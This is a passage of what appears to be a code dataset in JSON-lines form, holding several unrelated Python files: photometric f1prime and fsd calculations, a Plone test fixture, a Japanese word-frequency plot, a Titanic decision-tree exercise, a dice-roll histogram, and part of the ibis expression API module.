led.reshape(led.size)/np.sum(led)\n # make the convolution of the deltaVector with the gaussian SPD\n # assuming the wlScale is approximately equidistant :-(\n deltaVector = np.convolve(deltaVector, led, mode='same')\n else:\n pass\n else:\n if dCutOff > 0:\n # original method from AF\n # calculate the abs value of the fft (squared)\n # Original implementation in python based on matlab source code from AF\n# #if useAFOrgImplementation:\n# ldo0=wlScale\n# Vlambda=iCmf[iObserverOffset + 1]\n# Responsividad=srData\n# normali = np.sum((ldo0[2] - ldo0[1]) * Vlambda) / np.sum((ldo0[2] - ldo0[1]) * Responsividad)\n# Dif_fpirma_s = (Responsividad * normali - Vlambda) / np.sum((ldo0[2] - ldo0[1]) * Vlambda)\n# L = ldo0.shape[0]\n# Fs = 1 / (ldo0[2] - ldo0[1])\n# NFFT = int(math.pow(2, NextPowerOfTwo(L)))\n# Dif_fpirma_net=np.zeros(NFFT)\n# #Dif_fpirma_net[L + 1: NFFT]=0\n# Dif_fpirma_net[:L]= Dif_fpirma_s - np.mean(Dif_fpirma_s)\n# PSD = (1 / (L * Fs)) * np.power(np.abs(fft(Dif_fpirma_net)), 2)\n# f = Fs / 2 * np.linspace(0, 1, int(NFFT / 2 + 1))\n# PSD_ss = np.abs(PSD[0:int(NFFT / 2 + 1)])\n# f_inter = Fs * lx.getwlr([0, 0.5, 0.0001])\n# PSD_ss_int = np.interp(f_inter, f, PSD_ss)\n# indices = np.where(np.logical_and(f_inter >= 0, f_inter < dCutOff))\n# f1PrimeGValue1 = np.sqrt(2 * np.sum((f_inter[2] - f_inter[1]) * PSD_ss_int[indices]))\n# deltaVector= Dif_fpirma_s\n if useAFOrgImplementation:\n # modified version with identical behavior\n deltaVectorZeroPadding=PadRight(deltaVector)\n deltaVectorZeroPadding[:res]=deltaVectorZeroPadding[:res]-np.mean(deltaVectorZeroPadding[:res])\n resZeroPadding = deltaVectorZeroPadding.shape[0]\n resOrgData = deltaVector.shape[0]\n deltaVectorFFTZeroPadding = deltaLambda/resOrgData*np.power(np.abs(fft(deltaVectorZeroPadding)), 2)\n\n # get the frequency list from the FFT scale\n wlFrequenciesZeroPadding = 1 / (2*deltaLambda) * np.linspace(0, 1, resZeroPadding // 2 +1)\n\n wlFrequenciesInterool = 1/deltaLambda*lx.getwlr([0, 0.5, 0.0001])\n deltaVectorFFTZeroPaddingInterpol = np.interp( wlFrequenciesInterool, wlFrequenciesZeroPadding, deltaVectorFFTZeroPadding[:resZeroPadding // 2+1])\n\n intIndexZeroPaddingInterpol = np.where(np.logical_and(wlFrequenciesInterool >= 0, wlFrequenciesInterool < dCutOff))\n # attention this value gives total different numbers compared with f1Prime\n f1PrimeGValue = np.sqrt(2 * np.sum(deltaVectorFFTZeroPaddingInterpol[intIndexZeroPaddingInterpol]) * (wlFrequenciesInterool[2]-wlFrequenciesInterool[1]))\n else:\n # different Implementation cf AF\n # - No ZeroPadding\n # - No Interpolation in the frequency space\n # - using the right frequencies in the frequency domain\n\n deltaVectorOffset = deltaVector - np.mean(deltaVector)\n deltaVectorOffsetFFT =np.power(np.abs(fft(deltaVectorOffset)), 2)\n\n #var1 = np.std(deltaVectorOffset)\n #var2 = math.sqrt(2/(res*res)*np.sum(deltaVectorOffsetFFT[:res//2]))\n #print( var1, var2, var1/var2, var1-var2)\n # get the frequency list from the FFT scale\n wlFrequencies = fftfreq(res, deltaLambda)[:res // 2]\n\n intIndex = np.where( np.logical_and(wlFrequencies >= 0, wlFrequencies < dCutOff))\n # attention this value gives total different numbers compared with f1Prime\n f1PrimeGValue = np.sqrt(2/(res*res) * np.sum(deltaVectorOffsetFFT[intIndex]))\n\n else:\n # modified version with back transfer after applying the cutoff\n # calculate the abs value of the fft (squared)\n deltaVectorFFT = fft(deltaVector)\n # get the frequency list from the FFT scale\n wlFrequencies = fftfreq(res, deltaLambda)\n intIndex = np.where(abs(wlFrequencies) >= abs(dCutOff))\n deltaVectorFFT[intIndex] = 0\n # modification of the delta vector only\n deltaVector = ifft( deltaVectorFFT)\n if dCutOff <= 0:\n f1PrimeGValue = np.trapz(abs(deltaVector), wlScale)\n\n return [f1PrimeGValue, deltaVector]\n\n@xl_func(\"numpy_array wlScale, numpy_array srData, string strObserver, int iObserverOffset, \\\n string strWeighting, int iMin, float dCutOff, float dBandWidth: numpy_array\", auto_resize=True)\ndef py_f1PrimeGTestFreq( wlScale, srData, strObserver='1931_2', iObserverOffset = 1, strWeighting='A', iMin=0, \\\n dCutOff=0., dBandWidth=0.):\n res = wlScale.size\n wlScale = wlScale.reshape(res)\n srData = srData.reshape(res)\n # calculate the mean step for the data (assume a non equidistant wlScale)\n deltaLambda = np.mean(np.diff(wlScale))\n\n # Get CMF from lx\n lxCmf = lx._CMF[strObserver]\n # Get the weighting function from lx\n lxWeighting = lx._CIE_ILLUMINANTS[strWeighting]\n\n # interpolate to srData\n iCmf = lx.cie_interp(lxCmf['bar'], wlScale, kind='linear')\n iWeighting = lx.cie_interp(lxWeighting, wlScale, kind='linear')\n\n # calculate some temporary sums\n sObserver = np.trapz(iCmf[iObserverOffset + 1], wlScale)\n sProduct = np.trapz(iCmf[iObserverOffset + 1] * iWeighting[1], wlScale)\n sDenominator = np.trapz( iWeighting[1] * srData, wlScale)\n\n sNorm = sProduct / sDenominator\n\n # we minimize the usual f1Prime equation varying the dNorm value only\n def dstFunction( dNorm):\n return np.trapz(abs((srData * dNorm).T - iCmf[iObserverOffset + 1]), wlScale) / sObserver\n\n # Use the Min f1Prime value according to Alejandro Ferrero\n if iMin > 0:\n # call optimization (usually no start value and no boundaries required\n dNormMinOpt = minimize_scalar(dstFunction)\n # take over the weighting factor for the minimal f1Prime value\n sNorm = dNormMinOpt.x\n\n # calculate the difference vector, normalized to the observer integral\n deltaVector = (srData * sNorm - iCmf[iObserverOffset + 1]) / sObserver\n # Use the fourier method of Alejandro Ferrero (https://doi.org/10.1364/OE.26.018633)\n # For the original method strWeighting should be used with 'E'\n # FYI: dCutOff>0 can be combined with iMin>0!\n if dCutOff == 0:\n if dBandWidth > 0:\n # get a gaussian SPD of a LED\n led = lx.toolboxes.spdbuild.gaussian_spd( \\\n peakwl=0, fwhm=dBandWidth, wl=[-3 * dBandWidth, 3 * dBandWidth, deltaLambda], with_wl=False)\n led = led.reshape(led.size)/np.sum(led)\n # make the convolution of the deltaVector with the gaussian SPD\n # assuming the wlScale is approximately equidistant :-(\n deltaVector = np.convolve(deltaVector, led, mode='same')\n else:\n pass\n else:\n if dCutOff > 0:\n # original method from AF\n # calculate the abs value of the fft (squared)\n if iMin > 0:\n deltaVector1 = np.zeros(iMin)\n deltaVector1[0:res] = deltaVector\n res1 = deltaVector1.size\n else:\n deltaVector1 = deltaVector\n res1 = res\n deltaVectorFFT = np.power(np.abs(fft(deltaVector1)), 2)\n # get the frequency list from the FFT scale\n wlFrequencies = fftfreq(res1, deltaLambda)[:res1 // 2]\n intIndex = np.where(wlFrequencies < dCutOff)\n return np.vstack((wlFrequencies, deltaVectorFFT[:res1//2]))\n # attention this value gives total different numbers compared with f1Prime\n f1PrimeGValue = math.sqrt(2 * np.trapz(deltaVectorFFT[intIndex], wlFrequencies[intIndex]))\n else:\n # modified version with back transfer after applying the cutoff\n # calculate the abs value of the fft (squared)\n deltaVectorFFT = fft(deltaVector)\n # get the frequency list from the FFT scale\n wlFrequencies = fftfreq(res, deltaLambda)\n intIndex = np.where(abs(wlFrequencies) >= abs(dCutOff))\n deltaVectorFFT[intIndex] = 0\n # modification of the delta vector only\n deltaVector = ifft( deltaVectorFFT)\n if dCutOff <= 0:\n f1PrimeGValue = np.trapz(abs(deltaVector), wlScale)\n\n return f1PrimeGValue\n\n\n@xl_func(\"numpy_array wlScale, numpy_array sdData, string strObserver, int iObserverOffset, \\\n string strTarget: float\", auto_resize=True)\ndef py_fsdG( wlScale, sdData, strObserver='1931_2', iObserverOffset = 1, strTarget='LED_L41'):\n \"\"\"\n Calculate the general fsd value (spectral distribution mismatch index) see TC2-90 and\n Alejandro Ferrero et al.: DEFINITION OF A SPECTRAL MISMATCH INDEX FOR SPECTRAL POWER DISTRIBUTIONS, CIE x046:2019\n Proceedings of the 29th CIE SESSION Washington D.C., USA, June 14 – 22, 2019\n DOI: 10.25039/x46.2019.OP15\n\n Args:\n :wlScale:\n | wavelength scale (ndarray, .shape=(n,))\n :sdData:\n | spectral distribution data at the point of wlScale (ndarray, .shape=(n,))\n :strObserver:\n | Name of the Observer used for the target functions (calibration)\n | All Observers (color matching functions implemented in luypy (see lx._CMF.keys())\n | are supported.\n :iObserverOffset:\n | 0 ... xBar\n | 1 ... yBar (V(Lambda), ...)\n | 2 ... zBar\n :strDst:\n | Dst function for the reference to compare with (Target function for the sd)\n | All illuminants from luypy are supported (see lx._CIE_ILLUMINANTS.keys()).\n | Examples:\n | 'E' ... No weighting at all\n | 'A' ... Weighting with standard illuminant A (the standard weighting)\n | 'LED_L41' Weighting with illuminant L the future standard illuminant L\n\n Returns:\n :returns:\n | float fsd value\n\n Examples:\n\n Note:\n There is no need that the wlScale is monotone or equidistant. The calculation is done with the trapz\n integration on the wlScale of the caller. Only the target and weighting functions are interpolated.\n \"\"\"\n res = wlScale.size\n wlScale = wlScale.reshape(res)\n\n # calculate the mean step for the data (assume a non equidistant wlScale)\n deltaLambda = np.mean(np.diff(wlScale))\n\n # Get CMF from lx\n lxCmf = lx._CMF[strObserver]\n # Get the target function from lx\n lxTarget = lx._CIE_ILLUMINANTS[strTarget]\n\n # interpolate to srData\n iCmf = lx.cie_interp(lxCmf['bar'], wlScale, kind='linear')\n iTarget = lx.cie_interp(lxTarget, wlScale, kind='linear')\n\n # calculate some temporary sums\n sProductTarget = np.trapz(iCmf[iObserverOffset + 1] * iTarget[1], wlScale)\n pRef = (iCmf[iObserverOffset + 1] * iTarget[1])/sProductTarget\n\n sProductData = np.trapz( iCmf[iObserverOffset + 1] * sdData, wlScale)\n sNominator = iCmf[iObserverOffset + 1] * sdData\n pData = sNominator.T / sProductData\n\n fsd=np.trapz(abs(pData.T-pRef), wlScale)\n\n return fsd\n","sub_path":"empir19nrm02/f1prime/f1prime.py","file_name":"f1prime.py","file_ext":"py","file_size_in_byte":18251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"234114553","text":"from plone.app.testing import PloneSandboxLayer\nfrom plone.app.testing import PLONE_FIXTURE\nfrom plone.app.testing import IntegrationTesting\nfrom plone.app.testing import FunctionalTesting\nfrom plone.app import testing\n\nfrom zope.configuration import xmlconfig\n\nclass PageLayer(PloneSandboxLayer):\n\n defaultBases = (PLONE_FIXTURE,)\n\n def setUpZope(self, app, configurationContext):\n # Load ZCML\n import plone.app.page\n self.loadZCML(name='meta.zcml', package=plone.app.page)\n self.loadZCML(package=plone.app.page)\n \n # Register directory for testing\n xmlconfig.string(\"\"\"\\\n\n \n \n \n \n \n \n \n \n\n\n\"\"\", context=configurationContext)\n\n def setUpPloneSite(self, portal):\n # Install into Plone site using portal_setup\n self.applyProfile(portal, 'plone.app.page:default')\n testing.setRoles(\n portal, testing.TEST_USER_ID, ['Manager', 'Member'])\n self['folder'] = portal[\n portal.invokeFactory(type_name='Folder', id='foo-folder',\n title='Foo Folder')]\n testing.setRoles(\n portal, testing.TEST_USER_ID, ['Member'])\n\nPAGE_FIXTURE = PageLayer()\nPAGE_INTEGRATION_TESTING = IntegrationTesting(bases=(PAGE_FIXTURE,), name=\"Page:Integration\")\nPAGE_FUNCTIONAL_TESTING = FunctionalTesting(bases=(PAGE_FIXTURE,), name=\"Page:Functional\")\n","sub_path":"plone/app/page/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"131177970","text":"from Morpheme import Morpheme\nfrom collections import defaultdict\nimport matplotlib.pyplot as plt\nfrom matplotlib.font_manager import FontProperties\n\ndef main():\n file_name = 'materials/neko.txt.mecab'\n morph = Morpheme(mecab_file_name=file_name)\n result = morph.read_mecab_file() # 辞書のリスト\n\n count_dict = defaultdict(int) # key: 単語(1列目), value: 単語の出現回数\n for d in result:\n count_dict[d['surface']] += 1\n\n # ソートして上位10個を取り出す\n top10_word = sorted(count_dict.items(), key=lambda x: x[1], reverse=True)[:10]\n label = [x[0] for x in top10_word] # 単語(名), 横軸のラベル\n height = [x[1] for x in top10_word] # 単語の���現回数, 縦軸\n\n # 日本語フォントを使用可能に\n fp = FontProperties(fname='/usr/share/fonts/truetype/takao-gothic/TakaoGothic.ttf')\n\n # 棒グラフのデータ指定\n plt.bar(range(10), height, align=\"center\") # xの値, yの値, 棒グラフの表示位置\n\n # x軸のラベルの指定\n plt.xticks(\n range(0, 10), # x軸の値(0,1,2...9)\n label, # それに対応するラベル\n fontproperties=fp # 使うフォント情報\n )\n\n # x軸の値の範囲の調整\n plt.xlim(\n xmin=-1, xmax=10 # -1〜10(左右に1の余裕を持たせて見栄え良く)\n )\n\n # グラフのタイトル、ラベル指定\n plt.title(\n '37. 頻度上位10語', # タイトル\n fontproperties=fp # 使うフォント情報\n )\n plt.xlabel(\n '出現頻度が高い10語', # x軸ラベル\n fontproperties=fp # 使うフォント情報\n )\n plt.ylabel(\n '出現頻度', # y軸ラベル\n fontproperties=fp # 使うフォント情報\n )\n\n # グリッドを表示\n plt.grid(axis='y')\n\n # 表示\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"knock37.py","file_name":"knock37.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"567233948","text":"def readFile(path):\r\n arr=[]\r\n file = open(path,'r',encoding='utf-8')\r\n for line in file:\r\n data = line.strip()\r\n a = data.split()\r\n arr.append(a)\r\n file.close()\r\n return arr\r\n\r\nt = readFile('TitanicDataset')\r\nprint('-----INPUT DATASET: {0}'.format(len(t)))\r\nprint('DATASET: ',t)\r\ndef convert(t):\r\n for i in range(len(t)):\r\n if t[i][0] == '1st': t[i][0]=0\r\n elif t[i][0] == '2nd': t[i][0]=1\r\n elif t[i][0] == '3rd': t[i][0]=2\r\n else: t[i][0] = 3\r\n\r\n if t[i][1] == 'adult': t[i][1]=0\r\n else: t[i][1]=1\r\n\r\n if t[i][2] == 'male': t[i][2]=0\r\n else: t[i][2] = 1\r\n\r\n if t[i][3] == 'yes': t[i][3]=1\r\n else: t[i][3]=0\r\n return t\r\n\r\nconvert(t)\r\nprint('------>: ',t)\r\n\r\nprint('\\n-----SPLIT DATASET INTO DATA AND LABEL:')\r\ndef split(t):\r\n data = []\r\n label = []\r\n for i in range(len(t)):\r\n data.append([t[i][0],t[i][1],t[i][2]])\r\n label.append(t[i][3])\r\n return data,label\r\n\r\ndata,label = split(t)\r\nprint('DATA: ',len(data),data)\r\nprint('LABEL: ',len(label),label)\r\n\r\nprint('\\n-----SPLIT DATA AND LABEL INTO DATA(TRAIN, TEST) AND LABEL(TRAIN, TEST):')\r\nfrom sklearn.model_selection import train_test_split\r\n\r\ndata_train,data_test,label_train,label_test = train_test_split(data,label,test_size=0.1,random_state=1)\r\nprint('DATA TRAIN: ',len(data_train),data_train)\r\nprint('LABEL TRAIN: ',len(label_train),label_train)\r\nprint('DATA TEST: ',len(data_test),data_test)\r\nprint('LABEL TEST: ',len(label_test),label_test)\r\n\r\nprint('\\n-----Decision Tree Classifier ...')\r\nfrom sklearn import tree\r\n\r\nDS = tree.DecisionTreeClassifier()\r\nDS.fit(data_train,label_train)\r\n\r\npredicted_label = DS.predict(data_test)\r\nprint('done !\\n')\r\nprint('PREDICTED LABEL TEST: ',len(predicted_label),'\\n',predicted_label)\r\n\r\nfrom sklearn.metrics import accuracy_score\r\nprint('\\n- accuracy = %.2f%%'%(accuracy_score(label_test,predicted_label)*100))\r\n\r\nfrom sklearn.metrics import classification_report\r\nprint('\\nCOMPARE LABEL TEST WITH PREDICTED LABEL: ')\r\nprint(classification_report(label_test,predicted_label))\r\n","sub_path":"Case Study 1/Decision Tree - LV2.py","file_name":"Decision Tree - LV2.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"467536338","text":"#!/usr/bin/env python3\nimport pygal\n\nfrom die import Die\n\n# create d6\ndie = Die()\n\nnumber_of_throws = 1000\nmin_result = 1\nmax_result = die.num_sides\n\n# modelling series of shots with saving results in list\nresults = [die.roll() for roll_num in range(number_of_throws)]\n\n# analysis of results\nfrequencies = [results.count(value) for value in range(min_result, \n die.num_sides+1)]\n\n# visualisation\nhist = pygal.Bar()\n\nhist.title = \"Results of rolling one {} {:,} times.\".format(\n die.name(), number_of_throws)\nhist.x_labels = [str(i) for i in range(min_result, max_result+1)]\nhist.x_title = \"Result\"\nhist.y_title = \"Frequency of Result\"\n\nlegend = die.name()\nhist.add(legend, frequencies)\nhist.render_to_file('die_visual.svg')","sub_path":"chapter15/die_visual.py","file_name":"die_visual.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"425058260","text":"\"\"\"Ibis expression API definitions.\"\"\"\n\nfrom __future__ import annotations\n\nimport datetime\nimport functools\nimport itertools\nimport operator\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Any, Iterable, Mapping, NamedTuple, Sequence, TypeVar\nfrom typing import Tuple as _Tuple\nfrom typing import Union as _Union\n\nimport dateutil.parser\nimport numpy as np\n\nimport ibis.expr.builders as bl\nimport ibis.expr.datatypes as dt\nimport ibis.expr.operations as ops\nimport ibis.expr.rules as rlz\nimport ibis.expr.schema as sch\nimport ibis.expr.types as ir\nfrom ibis.backends.base import BaseBackend, connect\nfrom ibis.common.exceptions import IbisInputError\nfrom ibis.expr import selectors\nfrom ibis.expr.decompile import decompile\nfrom ibis.expr.deferred import Deferred\nfrom ibis.expr.schema import Schema\nfrom ibis.expr.sql import parse_sql, show_sql, to_sql\nfrom ibis.expr.types import (\n DateValue,\n Expr,\n IntegerColumn,\n StringValue,\n Table,\n TimeValue,\n array,\n literal,\n map,\n null,\n struct,\n)\nfrom ibis.util import experimental\n\nif TYPE_CHECKING:\n import pandas as pd\n\n__all__ = (\n 'aggregate',\n 'and_',\n 'array',\n 'asc',\n 'case',\n 'coalesce',\n 'connect',\n 'cross_join',\n 'cumulative_window',\n 'date',\n 'desc',\n 'decompile',\n 'deferred',\n 'difference',\n 'e',\n 'Expr',\n 'geo_area',\n 'geo_as_binary',\n 'geo_as_ewkb',\n 'geo_as_ewkt',\n 'geo_as_text',\n 'geo_azimuth',\n 'geo_buffer',\n 'geo_centroid',\n 'geo_contains',\n 'geo_contains_properly',\n 'geo_covers',\n 'geo_covered_by',\n 'geo_crosses',\n 'geo_d_fully_within',\n 'geo_disjoint',\n 'geo_difference',\n 'geo_d_within',\n 'geo_envelope',\n 'geo_equals',\n 'geo_geometry_n',\n 'geo_geometry_type',\n 'geo_intersection',\n 'geo_intersects',\n 'geo_is_valid',\n 'geo_line_locate_point',\n 'geo_line_merge',\n 'geo_line_substring',\n 'geo_ordering_equals',\n 'geo_overlaps',\n 'geo_touches',\n 'geo_distance',\n 'geo_end_point',\n 'geo_length',\n 'geo_max_distance',\n 'geo_n_points',\n 'geo_n_rings',\n 'geo_perimeter',\n 'geo_point',\n 'geo_point_n',\n 'geo_simplify',\n 'geo_srid',\n 'geo_start_point',\n 'geo_transform',\n 'geo_unary_union',\n 'geo_union',\n 'geo_within',\n 'geo_x',\n 'geo_x_max',\n 'geo_x_min',\n 'geo_y',\n 'geo_y_max',\n 'geo_y_min',\n 'get_backend',\n 'greatest',\n 'ifelse',\n 'infer_dtype',\n 'infer_schema',\n 'intersect',\n 'interval',\n 'join',\n 'least',\n 'literal',\n 'map',\n 'memtable',\n 'NA',\n 'negate',\n 'now',\n 'null',\n 'or_',\n 'param',\n 'parse_sql',\n 'pi',\n 'random',\n 'range_window',\n 'read_csv',\n 'read_json',\n 'read_parquet',\n 'row_number',\n 'rows_window',\n 'rows_with_max_lookback',\n 'schema',\n 'Schema',\n 'selectors',\n 'sequence',\n 'set_backend',\n 'show_sql',\n 'to_sql',\n 'struct',\n 'table',\n 'time',\n 'timestamp',\n 'trailing_range_window',\n 'trailing_window',\n 'union',\n 'where',\n 'window',\n 'preceding',\n 'following',\n '_',\n)\n\n\ninfer_dtype = dt.infer\ninfer_schema = sch.infer\n\n\nNA = null()\n\nT = TypeVar(\"T\")\n\nnegate = ir.NumericValue.negate\n\nSupportsSchema = TypeVar(\n \"SupportsSchema\",\n Iterable[_Tuple[str, _Union[str, dt.DataType]]],\n Mapping[str, dt.DataType],\n sch.Schema,\n)\n\n\ndef _deferred(fn):\n @functools.wraps(fn)\n def wrapper(self, *args, **kwargs):\n if isinstance(self, Deferred):\n method = getattr(self, fn.__name__)\n return method(*args, **kwargs)\n return fn(self, *args, **kwargs)\n\n return wrapper\n\n\ndef param(type: dt.DataType) -> ir.Scalar:\n \"\"\"Create a deferred parameter of a given type.\n\n Parameters\n ----------\n type\n The type of the unbound parameter, e.g., double, int64, date, etc.\n\n Returns\n -------\n Scalar\n A scalar expression backend by a parameter\n\n Examples\n --------\n >>> import ibis\n >>> start = ibis.param('date')\n >>> end = ibis.param('date')\n >>> schema = dict(timestamp_col='timestamp', value='double')\n >>> t = ibis.table(schema, name='t')\n >>> predicates = [t.timestamp_col >= start, t.timestamp_col <= end]\n >>> t.filter(predicates).value.sum()\n r0 := UnboundTable: t\n timestamp_col timestamp\n value float64\n r1 := Selection[r0]\n predicates:\n r0.timestamp_col >= $(date)\n r0.timestamp_col <= $(date)\n sum: Sum(r1.value)\n \"\"\"\n return ops.ScalarParameter(type).to_expr()\n\n\n# TODO(kszucs): should be deprecated\ndef sequence(values: Sequence[T | None]) -> ir.List:\n \"\"\"Wrap a list of Python values as an Ibis sequence type.\n\n Parameters\n ----------\n values\n Should all be None or the same type\n\n Returns\n -------\n List\n A list expression\n \"\"\"\n return rlz.tuple_of(rlz.any, values)\n\n\ndef schema(\n pairs: SupportsSchema | None = None,\n names: Iterable[str] | None = None,\n types: Iterable[str | dt.DataType] | None = None,\n) -> sch.Schema:\n \"\"\"Validate and return a [`Schema`][ibis.expr.schema.Schema] object.\n\n Parameters\n ----------\n pairs\n List or dictionary of name, type pairs. Mutually exclusive with `names`\n and `types` arguments.\n names\n Field names. Mutually exclusive with `pairs`.\n types\n Field types. Mutually exclusive with `pairs`.\n\n Examples\n --------\n >>> from ibis import schema, Schema\n >>> sc = schema([('foo', 'string'),\n ... ('bar', 'int64'),\n ... ('baz', 'boolean')])\n >>> sc = schema(names=['foo', 'bar', 'baz'],\n ... types=['string', 'int64', 'boolean'])\n >>> sc = schema(dict(foo=\"string\"))\n >>> sc = schema(Schema(['foo'], ['string'])) # no-op\n\n Returns\n -------\n Schema\n An ibis schema\n \"\"\"\n if pairs is not None:\n return sch.schema(pairs)\n else:\n return sch.schema(names, types)\n\n\ndef table(\n schema: SupportsSchema | None = None,\n name: str | None = None,\n) -> ir.Table:\n \"\"\"Create a table literal or an abstract table without data.\n\n Parameters\n ----------\n schema\n A schema for the table\n name\n Name for the table. One is generated if this value is `None`.\n\n Returns\n -------\n Table\n A table expression\n\n Examples\n --------\n Create a table with no data backing it\n\n >>> t = ibis.table(schema=dict(a=\"int\", b=\"string\"))\n >>> t\n UnboundTable: unbound_table_0\n a int64\n b string\n \"\"\"\n if schema is not None:\n schema = sch.schema(schema)\n return ops.UnboundTable(schema=schema, name=name).to_expr()\n\n\n@functools.singledispatch\ndef memtable(\n data,\n *,\n columns: Iterable[str] | None = None,\n schema: SupportsSchema | None = None,\n name: str | None = None,\n) -> Table:\n \"\"\"Construct an ibis table expression from in-memory data.\n\n Parameters\n ----------\n data\n Any data accepted by the `pandas.DataFrame` constructor.\n\n The use of `DataFrame` underneath should **not** be relied upon and is\n free to change across non-major releases.\n columns\n Optional [`Iterable`][typing.Iterable] of [`str`][str] column names.\n schema\n Optional [`Schema`][ibis.expr.schema.Schema]. The functions use `data`\n to infer a schema if not passed.\n name\n Optional name of the table.\n\n Returns\n -------\n Table\n A table expression backed by in-memory data.\n\n Examples\n --------\n >>> import ibis\n >>> t = ibis.memtable([{\"a\": 1}, {\"a\": 2}])\n >>> t\n PandasInMemoryTable\n data:\n DataFrameProxy:\n a\n 0 1\n 1 2\n\n >>> t = ibis.memtable([{\"a\": 1, \"b\": \"foo\"}, {\"a\": 2, \"b\": \"baz\"}])\n >>> t\n PandasInMemoryTable\n data:\n DataFrameProxy:\n a b\n 0 1 foo\n 1 2 baz\n\n Create a table literal without column names embedded in the data and pass\n `columns`\n\n >>> t = ibis.memtable([(1, \"foo\"), (2, \"baz\")], columns=[\"a\", \"b\"])\n >>> t\n PandasInMemoryTable\n data:\n DataFrameProxy:\n a b\n 0 1 foo\n 1 2 baz\n\n Create a table literal without column names embedded in the data. Ibis\n generates column names if none are provided.\n\n >>> t = ibis.memtable([(1, \"foo\"), (2, \"baz\")])\n >>> t\n PandasInMemoryTable\n data:\n DataFrameProxy:\n col0 col1\n 0 1 foo\n 1 2 baz\n \"\"\"\n import pandas as pd\n\n if columns is not None and schema is not None:\n raise NotImplementedError(\n \"passing `columns` and schema` is ambiguous; \"\n \"pass one or the other but not both\"\n )\n df = pd.DataFrame(data, columns=columns)\n if df.columns.inferred_type != \"string\":\n cols = df.columns\n newcols = getattr(\n schema,\n \"names\",\n (f\"col{i:d}\" for i in range(len(cols))),\n )\n df = df.rename(columns=dict(zip(cols, newcols)))\n return _memtable_from_dataframe(df, name=name, schema=schema)\n\n\n_gen_memtable_name = (f\"_ibis_memtable{i:d}\" for i in itertools.count())\n\n\ndef _memtable_from_dataframe(\n df: pd.DataFrame,\n *,\n name: str | None = None,\n schema: SupportsSchema | None = None,\n) -> Table:\n from ibis.backends.pandas.client import DataFrameProxy, PandasInMemoryTable\n\n op = PandasInMemoryTable(\n name=name if name is not None else next(_gen_memtable_name),\n schema=sch.infer(df) if schema is None else schema,\n data=DataFrameProxy(df),\n )\n return op.to_expr()\n\n\ndef _deferred_method_call(expr, method_name):\n method = operator.methodcaller(method_name)\n if isinstance(expr, str):\n value = _[expr]\n elif isinstance(expr, Deferred):\n value = expr\n elif callable(expr):\n value = expr(_)\n else:\n value = expr\n return method(value)\n\n\ndef desc(expr: ir.Column | str) -> ir.Value:\n \"\"\"Create a descending sort key from `expr` or column name.\n\n Parameters\n ----------\n expr\n The expression or column name to use for sorting\n\n Examples\n --------\n >>> import ibis\n >>> t = ibis.table(dict(g='string'), name='t')\n >>> t.group_by('g').size('count').order_by(ibis.desc('count'))\n r0 := UnboundTable: t\n g string\n r1 := Aggregation[r0]\n metrics:\n count: Count(t)\n by:\n g: r0.g\n Selection[r1]\n sort_keys:\n desc|r1.count\n\n Returns\n -------\n ir.ValueExpr\n An expression\n \"\"\"\n return _deferred_method_call(expr, \"desc\")\n\n\ndef asc(expr: ir.Column | str) -> ir.Value:\n \"\"\"Create a ascending sort key from `asc` or column name.\n\n Parameters\n ----------\n expr\n The expression or column name to use for sorting\n\n Examples\n --------\n >>> import ibis\n >>> t = ibis.table(dict(g='string'), name='t')\n >>> t.group_by('g').size('count').order_by(ibis.asc('count'))\n r0 := UnboundTable: t\n g string\n r1 := Aggregation[r0]\n metrics:\n count: Count(t)\n by:\n g: r0.g\n Selection[r1]\n sort_keys:\n asc|r1.count\n\n Returns\n -------\n ir.ValueExpr\n An expression\n \"\"\"\n return _deferred_method_call(expr, \"asc\")\n\n\ndef preceding(value) -> ir.Value:\n return ops.WindowBoundary(value, preceding=True).to_expr()\n\n\ndef following(value) -> ir.Value:\n return ops.WindowBoundary(value, preceding=False).to_expr()\n\n\ndef and_(*predicates: ir.BooleanValue) -> ir.BooleanValue:\n \"\"\"Combine multiple predicates using `&`.\n\n Parameters\n ----------\n predicates\n Boolean value expressions\n\n Returns\n -------\n BooleanValue\n A new predicate that evaluates to True if all composing predicates are\n True. If no predicates were provided, returns True.\n \"\"\"\n if not predicates:\n return literal(True)\n return functools.reduce(operator.and_, predicates)\n\n\ndef or_(*predicates: ir.BooleanValue) -> ir.BooleanValue:\n \"\"\"Combine multiple predicates using `|`.\n\n Parameters\n ----------\n predicates\n Boolean value expressions\n\n Returns\n -------\n BooleanValue\n A new predicate that evaluates to True if any composing predicates are\n True. If no predicates were provided, returns False.\n \"\"\"\n if not predicates:\n return literal(False)\n return functools.reduce(operator.or_, predicates)\n\n\ndef random() -> ir.FloatingScalar:\n \"\"\"Return a random floating point number in the range [0.0, 1.0).\n\n Similar to [`random.random`][random.random] in the Python standard library.\n\n Returns\n -------\n FloatingScalar\n Random float value expression\n \"\"\"\n return ops.RandomScalar().to_expr()\n\n\n@functools.singledispatch\ndef timestamp(\n value,\n *args,\n timezone: str | None = None,\n) -> ir.TimestampScalar:\n \"\"\"Construct a timestamp literal if `value` is coercible to a timestamp.\n\n Parameters\n ----------\n value\n The value to use for constructing the timestamp\n args\n Additional arguments used when constructing a timestamp\n timezone\n The timezone of the timestamp\n\n Returns\n -------\n TimestampScalar\n A timestamp expression\n \"\"\"\n raise NotImplementedError(f'cannot convert {type(value)} to timestamp')\n\n\n@timestamp.register(np.integer)\n@timestamp.register(np.floating)\n@timestamp.register(int)\n@timestamp.register(float)\n@timestamp.register(ir.IntegerValue)\ndef _timestamp_from_ymdhms(\n value, *args, timezone: str | None = None\n) -> ir.TimestampScalar:\n if timezone:\n raise NotImplementedError('timestamp timezone not implemented')\n\n if not args: # only one value\n raise TypeError(f\"Use ibis.literal({value}).to_timestamp\")\n\n # pass through to datetime constructor\n return ops.TimestampFromYMDHMS(value, 